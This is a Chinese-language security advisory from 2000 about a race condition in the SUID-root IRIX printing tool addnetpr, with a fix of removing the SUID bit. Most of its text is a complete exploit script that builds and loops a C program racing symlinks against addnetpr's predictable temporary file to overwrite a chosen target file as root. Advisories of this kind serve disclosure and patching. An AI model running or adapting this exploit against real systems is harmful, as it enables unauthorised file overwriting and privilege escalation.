addnetpr存在安全漏洞发布时间:2000-05-03 更新时间:2000-05-03 严重程度:高 威胁程度:其它 错误类型:设计错误 利用方式:服务器模式 受影响系统 irix 5.x,6.x详细描述 此程序存在race condition,/usr/bin/addnetpr, 是另一个属主是SUID ROOT的打印程序,下面是一点利用 漏洞的代码脚本,但此程序很难找到获得ROOT的方法,此 程序提供addnetpr的两个参数给目标,但有些信息很难加 于控制,它会对没有特殊权利的用户弹出窗口来询问ROOT 密码,用户可以旁路过窗口并运行race。 测试代码 #!/bin/sh PROG="`basename $0`" if [ $# -ne 1 ]; then echo "Usage: $PROG <target>" exit 1 fi cat > expnetpr.c << _CREDIT_TO_ZOMO_ void main(int argc, char *argv[]) { char *template = "/var/tmp/printersXXXXXX"; char *target; int pid; target = (char *)mktemp(template); if ((pid = fork()) > 0) { sleep(3); umask(0); execl("/usr/lib/addnetpr", "addnetpr", "localhost","+" , 0); } else while(1) { symlink(argv[1], target); unlink(target); } } _CREDIT_TO_ZOMO_ /bin/cc expnetpr.c -o expnetpr if [ ! -f expnetpr ]; then echo "Couldn't compile expnetpr.c, lame! \nMake sure that C compiler has been installed from the IDO" exit 1 fi while(`true`) do ./expnetpr $1& PID=$! sleep 15 ls -al $1 killall expnetpr killall addnetpr done 解决方案 移除此程序的SUID位。 相关信息 |